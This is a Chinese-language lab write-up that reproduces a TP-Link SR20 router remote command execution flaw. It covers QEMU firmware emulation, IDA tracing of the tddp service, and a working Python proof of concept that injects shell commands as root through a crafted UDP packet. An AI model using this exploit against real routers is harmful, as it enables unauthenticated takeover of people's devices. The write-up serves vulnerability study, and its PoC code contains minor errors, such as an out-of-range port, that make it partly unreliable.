1 概述
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
通过本次实验学习使用qemu模拟路由器环境,分析并复现某型号路由器远程命令执行漏洞。
TP-Link SR20智能家居路由器中的远程命令执行
该漏洞的存在是由于在处理TFPT请求时对用户提供的输入进行了不正确的过滤以及缺少身份验证。远程未经身份验证的攻击者可以发送特制的TFPT请求以上传文件,并发送OS命令以在受影响的设备上以root特权执行任意命令。
2 实验
2.1 基本复现
官网下载固件,解压并用binwalk提取
在提取出来的squashfs-root文件夹里,寻找tddp文件,查看类型是arm架构小端elf文件。
所以接下来模拟时需要用到qemu-system-arm,以及qemu需要的debianarm系统的三个文件。
首先配置qemu所需网络环境
启动qmeu
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append “root=/dev/mmcblk0p2 console=ttyAMA0” -net nic -net tap,ifname=tap1,script=no,downscript=no -nographic
之后就是一系列动态加载,然后使用root/root进行登录,查看IP,没有分配地址,手动分配。
之后再回到原系统,利用scp将文件传到debian(新建虚拟系统)
scp -r /root/Desktop/router/tplinksr20/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root root@10.10.20.2:/root/
使用chroot切换根目录固件文件系统
这里注意,使用 chroot后,系统读取的是新根下的目录和文件,也就是固件的目录和文件。
chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录。
三条命令如下所示
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot ./squashfs-root/ sh
输入tddp即可启动
在原系统使用nmap扫描,第一条语句无法扫出1040,第二条语句即可,这时就可以确认tddp启动了。
在原机器上运行POC,在debian上就可以看到执行结果
使用nc监控,将结果返回到本地
2.2 实验原理
使用ida打开tddp,在import中找寻关于“执行”有关的函数,发现 “execve”,查看其调用,发现是在sub_91DC中
如果能控制传入的参数argv,就能实现命令执行。
查看sub_91DC的引用,经过大脑思考(别问为什么,我特么也不懂),sub_A580引用了sub_91DC,并且可能被利用。
这里面有一个sscanf函数,
sscanf原型为:
int sscanf(const char *buffer, const char*format, [argument ]…);
buffer存储的数据
format格式控制字符串
argument 选择性设定字符串
sscanf会从buffer里读进数据,依照format的格式将数据写入到argument里。
可以说,参数s是由上面的sscanf经过处理赋值的。并且过滤了分号。但是没有过滤“|”和“&”。
对应着代码,向上回溯,看看上图V20是 V9+45083,也就是V9的45083位。在第22行看到V9是a1赋值的,也即是传递的参数。
再看sub_a580的引用,到了sub_15e74,发现其V8参数,也是a1,再次查看引用到达sub_16418。
在sub_16418中,V14也是参数,也是a1,上个函数传递过来的。这里有个recvfrom()函数。
原型如下
ssize_t recvfrom(int sockfd, void *buf, size_t len, unsigned int flags, struct sockaddr *from, socket_t *fromlen);
recvfrom()用来接收远程主机经指定的socket传来的数据, 并把数据传到由参数buf指向的内存空间,
参数len为可接收数据的最大长度.
参数flags一般设0, 其他数值定义参考recv().
参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.
参数fromlen为sockaddr的结构长度。
由此可知,recvfrom函数的v14+45083就是buf,用于接收socket传递来的数据。那么就定位到源头了,既然是从socket接收的,那么就是可控的。
再回头看看sub_15e74,当case 0x31时,就调用sub_a580
那么就要保证swich(a1 + 45084)这块是0x31,也即是在sub_15e74中a1参数的45084位是0x31。
而sub_15e74中的a1, 也是a8。也是传递给sub_a580的参数。
再看sub_a580,v9也就是sub_a580的a1。
V14是在a1(输入参数)的45083位,而且v14要为1
因此45083位,45084位是0x1, 0x31
上图,紧接着,V20会移动12位,因此中间必须填充。
payload = ‘0x01\x031’.ljust(12, ‘0x00’)
然后再加上需要注入的代码
payload += “123|%s&&echo ;123″%(command)
payload中需要注意分号;之后还需要填充字符,因为在使用sscanf函数进行分割后会判断分号后面的内容是否为空
POC如下所示:
from pwn import * from socket import * import sys tddp_port = 1040 recv_port = 12345 ip = sys.argv[1] command = sys.argv[2] s_send = socket(AF_INET, SOCK_DGRAM, 0) s_recv = socket(AF_INET, SOCK_DGRAM, 0) s_recv.bind(('', 123456)) payload = '\x01\x31'.ljust(12,'\x00') payload += "123|%s&&echo ;123"%(command) s_send.sendto(payload, (ip,tddp_port)) s_send.close() res,addr = s_recv.recvfrom(1024) print res